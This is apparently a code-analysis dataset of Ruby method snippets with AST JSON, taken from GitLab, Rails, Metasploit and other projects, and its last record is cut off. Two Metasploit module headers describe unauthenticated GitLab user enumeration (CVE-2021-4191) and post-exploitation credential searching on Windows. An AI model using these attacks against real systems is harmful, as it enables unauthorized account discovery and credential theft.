{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/helm/packages_finder.rb","start_line":14,"raw_source":"def execute\n        return ::Packages::Package.none if @channel.blank? || @project.blank?\n\n        pkg_files = ::Packages::PackageFile.for_helm_with_channel(@project, @channel)\n\n        # we use a subquery to get unique packages and at the same time\n        # order + limit them.\n        query = ::Packages::Package.id_in(pkg_files.select(:package_id))\n\n        query = query.limit_recent(max_packages_count) if @with_recent_limit\n\n        query\n      end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Package\"]},\"none\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"pkg_files\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"PackageFile\"]},\"for_helm_with_channel\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"ivar\",\"children\":[\"@channel\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Package\"]},\"id_in\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkg_files\"]},\"select\",{\"type\":\"sym\",\"children\":[\"package_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@with_recent_limit\"]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"limit_recent\",{\"type\":\"send\",\"children\":[null,\"max_packages_count\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}","id":"5d9c3bc0-24ce-454a-9b74-0488f0a7405d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/incoming_emails/dispatch_service.rb","start_line":204,"raw_source":"def ignore_mail?\n      mail_from_system? || ignored_by_header? || ignored_user?\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ignore_mail?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mail_from_system?\"]},{\"type\":\"send\",\"children\":[null,\"ignored_by_header?\"]}]},{\"type\":\"send\",\"children\":[null,\"ignored_user?\"]}]}]}","id":"bef1c943-60ec-4f4c-9541-3812834bd88b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/encryption/encryption_schemes_test.rb","start_line":220,"raw_source":"def create_author_with_name_encrypted_with_previous_scheme\n      author = EncryptedAuthor.create!(name: \"david\")\n      old_type = EncryptedAuthor.type_for_attribute(:name).previous_types.first\n      value_encrypted_with_old_type = old_type.serialize(\"dhh\")\n      ActiveRecord::Encryption.without_encryption do\n        author.update!(name: value_encrypted_with_old_type)\n      end\n      author\n    end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"create_author_with_name_encrypted_with_previous_scheme\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EncryptedAuthor\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"david\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"old_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EncryptedAuthor\"]},\"type_for_attribute\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"previous_types\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value_encrypted_with_old_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_type\"]},\"serialize\",{\"type\":\"str\",\"children\":[\"dhh\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Encryption\"]},\"without_encryption\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value_encrypted_with_old_type\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"author\"]}]}]}","id":"0bdc9c53-d55f-4e98-a4b8-11471dc6d5f9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/user.rb","start_line":344,"raw_source":"def invite\n    self.status = self.class.statuses[:invited]\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"invite\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"status=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"statuses\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"invited\"]}]}]}]}","id":"cb7c29f5-53f5-47c5-9ea4-cd521fdd6e60"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/gitlab_graphql_user_enum.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'GitLab GraphQL API User Enumeration',\n        'Description' => %q{\n          This module queries the GitLab GraphQL API without authentication\n          to acquire the list of GitLab users (CVE-2021-4191). The module works\n          on all GitLab versions from 13.0 up to 14.8.2, 14.7.4, and 14.6.5.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'jbaines-r7', # Independent discovery and Metasploit module\n          'mungsul' # Independent discovery\n        ],\n        'References' => [\n          [ 'CVE', '2021-4191' ],\n          [ 'URL', 'https://about.gitlab.com/releases/2022/02/25/critical-security-release-gitlab-14-8-2-released/#unauthenticated-user-enumeration-on-graphql-api'],\n          [ 'URL', 'https://www.rapid7.com/blog/post/2022/03/03/cve-2021-4191-gitlab-graphql-api-user-enumeration-fixed/']\n        ],\n        'DisclosureDate' => '2022-02-25',\n        'DefaultOptions' => {\n          'RPORT' => 443,\n          'SSL' => true\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n    register_options([\n      OptString.new('TARGETURI', [true, 'Base path', '/'])\n    ])\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"GitLab GraphQL API User Enumeration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module queries the GitLab GraphQL API without authentication\\n\"]},{\"type\":\"str\",\"children\":[\"          to acquire the list of GitLab users (CVE-2021-4191). The module works\\n\"]},{\"type\":\"str\",\"children\":[\"          on all GitLab versions from 13.0 up to 14.8.2, 14.7.4, and 14.6.5.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"jbaines-r7\"]},{\"type\":\"str\",\"children\":[\"mungsul\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2021-4191\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://about.gitlab.com/releases/2022/02/25/critical-security-release-gitlab-14-8-2-released/#unauthenticated-user-enumeration-on-graphql-api\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.rapid7.com/blog/post/2022/03/03/cve-2021-4191-gitlab-graphql-api-user-enumeration-fixed/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2022-02-25\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"bf525c8e-f96d-4c5c-8f1b-5a341940ed79"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_services.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows Gather Service Info Enumeration',\n        'Description' => %q{\n          This module will query the system for services and display name and\n          configuration info for each returned service. It allows you to\n          optionally search the credentials, path, or start type for a string\n          and only return the results that match. These query operations are\n          cumulative and if no query strings are specified, it just returns all\n          services.  NOTE: If the script hangs, windows firewall is most likely\n          on and you did not migrate to a safe process (explorer.exe for\n          example).\n        },\n        'License' => MSF_LICENSE,\n        'Author' => ['Keith Faber', 'Kx499'],\n        'Platform' => ['win'],\n        'SessionTypes' => %w[meterpreter powershell shell],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [],\n          'SideEffects' => []\n        }\n      )\n    )\n    register_options([\n      OptString.new('CRED', [ false, 'String to search credentials for' ]),\n      OptString.new('PATH', [ false, 'String to search path for' ]),\n      OptEnum.new('TYPE', [true, 'Service startup option', 'All', ['All', 'Auto', 'Manual', 'Disabled' ]])\n    ])\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Gather Service Info Enumeration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will query the system for services and display name and\\n\"]},{\"type\":\"str\",\"children\":[\"          configuration info for each returned service. It allows you to\\n\"]},{\"type\":\"str\",\"children\":[\"          optionally search the credentials, path, or start type for a string\\n\"]},{\"type\":\"str\",\"children\":[\"          and only return the results that match. These query operations are\\n\"]},{\"type\":\"str\",\"children\":[\"          cumulative and if no query strings are specified, it just returns all\\n\"]},{\"type\":\"str\",\"children\":[\"          services.  NOTE: If the script hangs, windows firewall is most likely\\n\"]},{\"type\":\"str\",\"children\":[\"          on and you did not migrate to a safe process (explorer.exe for\\n\"]},{\"type\":\"str\",\"children\":[\"          example).\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Keith Faber\"]},{\"type\":\"str\",\"children\":[\"Kx499\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]},{\"type\":\"str\",\"children\":[\"powershell\"]},{\"type\":\"str\",\"children\":[\"shell\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CRED\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"String to search credentials for\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"String to search path for\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"TYPE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Service startup option\"]},{\"type\":\"str\",\"children\":[\"All\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"All\"]},{\"type\":\"str\",\"children\":[\"Auto\"]},{\"type\":\"str\",\"children\":[\"Manual\"]},{\"type\":\"str\",\"children\":[\"Disabled\"]}]}]}]}]}]}]}]}","id":"67560902-f754-4166-83c6-79fc5c0ff589"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_publisher.rb","start_line":4,"raw_source":"def initialize(topic, published_by, category_id)\n    @topic = topic\n    @published_by = published_by\n    @category_id = category_id\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]},{\"type\":\"arg\",\"children\":[\"published_by\"]},{\"type\":\"arg\",\"children\":[\"category_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@topic\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@published_by\",{\"type\":\"lvar\",\"children\":[\"published_by\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@category_id\",{\"type\":\"lvar\",\"children\":[\"category_id\"]}]}]}]}","id":"aa849d98-9f09-49a9-92a9-c69f4c84b0ae"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":1004,"raw_source":"def test_escaped_inline_string_interpolation\n    assert_equal(\"<p>4&&lt;</p>\\n\", render(\"%p& \\#{2+2}&\\#{'<'}\", :escape_html => true))\n    assert_equal(\"<p>4&&lt;</p>\\n\", render(\"%p& \\#{2+2}&\\#{'<'}\", :escape_html => false))\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_escaped_inline_string_interpolation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<p>4&&lt;</p>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"%p& #{2+2}&#{'<'}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"escape_html\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<p>4&&lt;</p>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"%p& #{2+2}&#{'<'}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"escape_html\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"2df0f96b-9a15-436f-a124-b9499188dd67"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/ci/qa_changes.rb","start_line":198,"raw_source":"def frontend_code_paths_map\n          @frontend_code_paths_map ||= QA::Tools::Ci::CodePathsMapping\n                                         .new.import(\"master\", \"e2e-test-on-gdk\",\n                                           file_name: \"js-coverage-by-example-merged-pipeline\")\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"frontend_code_paths_map\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@frontend_code_paths_map\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Tools\"]},\"Ci\"]},\"CodePathsMapping\"]},\"new\"]},\"import\",{\"type\":\"str\",\"children\":[\"master\"]},{\"type\":\"str\",\"children\":[\"e2e-test-on-gdk\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"str\",\"children\":[\"js-coverage-by-example-merged-pipeline\"]}]}]}]}]}]}","id":"4a6dbd87-3ff1-4fb2-a1ef-045ab6c52647"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/snapshot/lib/snapshot/fixes/simulator_zoom_fix.rb","start_line":22,"raw_source":"def self.config_path\n        File.join(File.expand_path(\"~\"), \"Library\", \"Preferences\", \"com.apple.iphonesimulator.plist\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"config_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"~\"]}]},{\"type\":\"str\",\"children\":[\"Library\"]},{\"type\":\"str\",\"children\":[\"Preferences\"]},{\"type\":\"str\",\"children\":[\"com.apple.iphonesimulator.plist\"]}]}]}","id":"50e09268-936a-4c53-afae-8a1382a25a68"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/requests/instance_actor_spec.rb","start_line":59,"raw_source":"def disable_instance_actor\n      Account\n        .representative\n        .update(suspended_at: 10.days.ago)\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_instance_actor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"representative\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suspended_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"days\"]},\"ago\"]}]}]}]}]}","id":"bae5ff89-3163-4a21-ad5f-f1f0a415f7ba"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_pool_test.rb","start_line":287,"raw_source":"def test_min_connections_configuration\n        @pool.disconnect!\n\n        @pool = new_pool_with_options(min_connections: 1)\n\n        @pool.activate\n        @pool.prepopulate\n        assert_equal 1, @pool.connections.length\n      end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_min_connections_configuration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"disconnect!\"]},{\"type\":\"ivasgn\",\"children\":[\"@pool\",{\"type\":\"send\",\"children\":[null,\"new_pool_with_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min_connections\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"activate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"prepopulate\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"connections\"]},\"length\"]}]}]}]}","id":"55c773cc-534b-440b-a65b-6b1329133d20"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/tracks/boundary_detector.rb","start_line":65,"raw_source":"def find_connected_tracks(track, all_tracks)\n    connected = []\n    track_end_time = track.end_at.to_i\n    track_start_time = track.start_at.to_i\n\n    # Look for tracks that start shortly after this one ends (within 30 minutes)\n    time_window = 30.minutes.to_i\n\n    all_tracks.each do |candidate|\n      next if candidate.id == track.id\n\n      candidate_start = candidate.start_at.to_i\n      candidate_end = candidate.end_at.to_i\n\n      # Check if tracks are temporally adjacent\n      if (candidate_start - track_end_time).abs <= time_window ||\n         (track_start_time - candidate_end).abs <= time_window\n\n        # Check if they're spatially connected\n        if tracks_spatially_connected?(track, candidate)\n          connected << candidate\n        end\n      end\n    end\n\n    connected\n  end","complexity_score":41.15,"ast_json":"{\"type\":\"def\",\"children\":[\"find_connected_tracks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"track\"]},{\"type\":\"arg\",\"children\":[\"all_tracks\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connected\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"track_end_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"track\"]},\"end_at\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"track_start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"track\"]},\"start_at\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"time_window\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[30]},\"minutes\"]},\"to_i\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_tracks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"candidate\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate\"]},\"id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"track\"]},\"id\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"candidate_start\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate\"]},\"start_at\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"candidate_end\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate\"]},\"end_at\"]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate_start\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"track_end_time\"]}]}]},\"abs\"]},\"<=\",{\"type\":\"lvar\",\"children\":[\"time_window\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"track_start_time\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"candidate_end\"]}]}]},\"abs\"]},\"<=\",{\"type\":\"lvar\",\"children\":[\"time_window\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracks_spatially_connected?\",{\"type\":\"lvar\",\"children\":[\"track\"]},{\"type\":\"lvar\",\"children\":[\"candidate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connected\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"candidate\"]}]},null]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"connected\"]}]}]}","id":"991b1521-a71d-4818-9ef3-d183f93cfc0f"}
{"repo_name":"blueprinter","file_path":"./repos/blueprinter/lib/blueprinter/view_collection.rb","start_line":57,"raw_source":"def sortable_fields(view_name)\n      excluded_fields = {}\n      fields = views[:default].fields.clone\n      views[view_name].included_view_names.each do |included_view_name|\n        next if view_name == included_view_name\n\n        view_fields, view_excluded_fields = sortable_fields(included_view_name)\n        fields.merge!(view_fields)\n        excluded_fields.merge!(view_excluded_fields)\n      end\n      fields.merge!(views[view_name].fields) unless view_name == :default\n\n      views[view_name].excluded_field_names.each { |name| excluded_fields[name] = nil }\n\n      [fields, excluded_fields]\n    end","complexity_score":37.9,"ast_json":"{\"type\":\"def\",\"children\":[\"sortable_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"view_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"excluded_fields\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"views\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"default\"]}]},\"fields\"]},\"clone\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"views\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"view_name\"]}]},\"included_view_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"included_view_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view_name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"included_view_name\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"